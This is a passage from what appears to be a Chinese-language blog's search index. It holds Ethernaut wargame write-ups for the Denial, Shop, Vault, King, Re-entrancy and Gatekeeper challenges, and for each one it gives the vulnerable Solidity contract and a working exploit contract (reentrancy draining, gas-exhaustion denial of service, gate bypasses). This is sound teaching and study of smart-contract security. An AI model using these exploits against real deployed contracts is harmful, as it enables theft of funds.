}}</code></pre><p>目的是要阻止owner在withdraw的时候提取到资产。</p><p>如果在调用call函数时没有检查返回值,也没有指定gas,外部调用是一个gas消耗很高的操作的话,就会使得整个交易出现out of gas的错误,交易回滚。</p><p>因此我们有2个方法。,一种是我们可以通过一个循环,来达到耗尽gas的目的。<br>另外一种方式是,可以使用assert函数,这个函数和require比较像,用来做条件检查,assert的特点是当参数为false时,会消耗掉所有的gas。</p><pre class=" language-1"><code class="language-1">pragma solidity ^0.8.0;contract Exploit { Denial challenge; constructor(address payable addr) public { challenge = Denial(addr); } function exp() public { challenge.setWithdrawPartner(address(this)); challenge.withdraw(); } receive() external payable { assert(false); }}</code></pre><h2 id="Shop"><a href="#Shop" class="headerlink" title="Shop"></a>Shop</h2><pre class=" language-1"><code class="language-1">pragma solidity ^0.8.0;interface Buyer { function price() external view returns (uint);}contract Shop { uint public price = 100; bool public isSold; function buy() public { Buyer _buyer = Buyer(msg.sender); if (_buyer.price() >= price && !isSold) { isSold = true; price = _buyer.price(); } }}</code></pre><p>很明显的逻辑漏洞。</p><pre class=" language-1"><code class="language-1">pragma solidity ^0.8.0;contract Exploit { Shop challenge; constructor(address addr) public { challenge = Shop(addr); } function price() public returns (uint256) { if (challenge.isSold()) { return 90; } return 100; } function exp() public { challenge.buy(); }}</code></pre>]]></content>
</entry>
<entry>
<title>Ethernaut题解——摘录(上)</title>
<link href="/2022/12/10/Ethernaut%E9%A2%98%E8%A7%A3%E2%80%94%E2%80%94%E6%91%98%E5%BD%95(%E4%B8%8A)/"/>
<url>/2022/12/10/Ethernaut%E9%A2%98%E8%A7%A3%E2%80%94%E2%80%94%E6%91%98%E5%BD%95(%E4%B8%8A)/</url>
<content type="html"><![CDATA[<h1 id="Ethernaut题解摘录"><a href="#Ethernaut题解摘录" class="headerlink" title="Ethernaut题解摘录"></a>Ethernaut题解摘录</h1><h2 id="vault"><a href="#vault" class="headerlink" title="vault"></a>vault</h2><pre class=" language-l"><code class="language-l">pragma solidity ^0.8.0;contract Vault { bool public locked; bytes32 private password; constructor(bytes32 _password) { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } }}</code></pre><p>要 unlock 这个合约账户,也就是要找到 password。虽然 password 被设为了 private,但是以太坊部署和合约上所有的数据都是可读的,包括这里合约内定义为private类型的password变量。,所以只要 getStorageAt 就可以了。</p><pre class=" language-l"><code class="language-l">await web3.eth.getStorageAt(instance, 1)// 0 为 locked 的位置,1 为 password</code></pre><h2 id="king"><a href="#king" class="headerlink" title="king"></a>king</h2><pre class=" language-l"><code class="language-l">pragma solidity ^0.8.0;contract King { address king; uint public prize; address public owner; constructor() payable { owner = msg.sender; king = msg.sender; prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); payable(king).transfer(msg.value); king = msg.sender; prize = msg.value; } function _king() public view returns (address) { return king; }}</code></pre><p>很明显可以通过看到receive函数中只要我们满足require的条件,就可以篡改合约的king。而题目说明中告知,当我们submit instance 时本关会尝试回收“王权”,也就是它会传入一个更大的msg.value,修改king为原来的msg.sender,为了阻止这一点,我们可以通过在合约的receive或者fallback函数中加入revert函数来实现。</p><pre class=" language-l"><code class="language-l">pragma solidity ^0.8.0;contract Exploit { constructor(address challenge) public payable { challenge.call.gas(10000000).value(msg.value)(""); } fallback() external { revert(); }}</code></pre><h2 id="Re-entrancy"><a href="#Re-entrancy" class="headerlink" title="Re-entrancy"></a>Re-entrancy</h2><pre class=" language-l"><code class="language-l">pragma solidity ^0.6.12;import 'openzeppelin-contracts-06/math/SafeMath.sol';contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value:_amount}(""); if(result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {}}</code></pre><p>经典的重入漏洞。<br>原因是call函数它没有gas的限制。</p><pre class=" language-l"><code class="language-l">pragma solidity ^0.8.0;contract attack { address payable target; address payable public owner; uint amount = 1000000000000000 wei; constructor(address payable _addr) public payable { target=_addr; owner = msg.sender; } function step1() public payable{ bool b; (b,)=target.call{value: amount}(abi.encodeWithSignature("donate(address)",address(this))); require(b,"step1 error"); } function setp2() public payable { bool b; (b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount)); require(b,"step2 error"); } fallback () external payable{ bool b; (b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount)); require(b,"fallback error"); } function mywithdraw() external payable{ require(msg.sender==owner,'not you'); msg.sender.transfer(address(this).balance); }}</code></pre><h2 id="Gatekeeper-One"><a href="#Gatekeeper-One" class="headerlink" title="Gatekeeper One"></a>Gatekeeper One</h2><pre class=" language-l"><code class="language-l">pragma solidity ^0.8.0;contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft() % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),""); require(uint32(uint64(_gateKey)) != uint64(_gateKey), ""); require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), ""); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; }}</code></pre><p>msg.sender != tx.origin:即通过一个合约来间接调用 enter。<br>gasleft() % 8191 == 0:运行到这一步时剩余的 gas 要是 8191 的倍数。<br>输入的 _gateKey 满足三个条件。<br>第一个好办,直接写一个合约绕过就好。<br>第二个我是直接是爆破x,因为gas消耗总归是有个范围的,我们只需要在这个范围内爆破即可。</p><pre class=" language-l"><code class="language-l">function exploit() public { bytes8 key=0xAAAAAAAA00004261; bool result; for (uint256 i = 0; i < 120; i++) { (bool result, bytes memory data) = address( target ).call{gas:i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key)); if (result) { break; } }</code></pre><p>第三个是一个简单的类型转换。<br><a href="https://www.tutorialspoint.com/solidity/solidity_conversions.htm#:~:text=Solidity%20compiler%20allows%20implicit%20conversion,value%20not%20allowed%20in%20uint256">https://www.tutorialspoint.com/solidity/solidity_conversions.htm#:~:text=Solidity%20compiler%20allows%20implicit%20conversion,value%20not%20allowed%20in%20uint256</a>.</p><h2 id="Gatekeeper-Two"><a href="#Gatekeeper-Two" class="headerlink" title="Gatekeeper Two"></a>Gatekeeper Two</h2><pre class=" language-l"><code class="language-l">pragma solidity ^0.8.0;contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller()) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; }}</code></pre><p>第一个同样通过合约绕过解决。<br>第二个,其中caller()函数返回call sender,也就是call的发起者,而extcodesize则是返回对应地址的合约代码的大小。如果extcodesize的参数是用户地址则会返回0,是合约地址则返回了调用合约的代码大小。关于这点,需要使用一个特性绕过:当合约正在执行构造函数constructor并部署时,其extcodesize为0。<br>所以攻击代码要写在 constructor 里。<br>第三个,这是一个简单的异或。<br>例子:如果A^B=C;那B^C=A;</p><pre class=" language-l"><code class="language-l">pragma solidity ^0.8.0;contract Exploit { GatekeeperTwo challenge; constructor(address addr) public { challenge = GatekeeperTwo(addr); uint64 key = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0xFFFFFFFFFFFFFFFF); challenge.enter(bytes8(key)); }}</code></pre>]]></content>
</entry>
</search>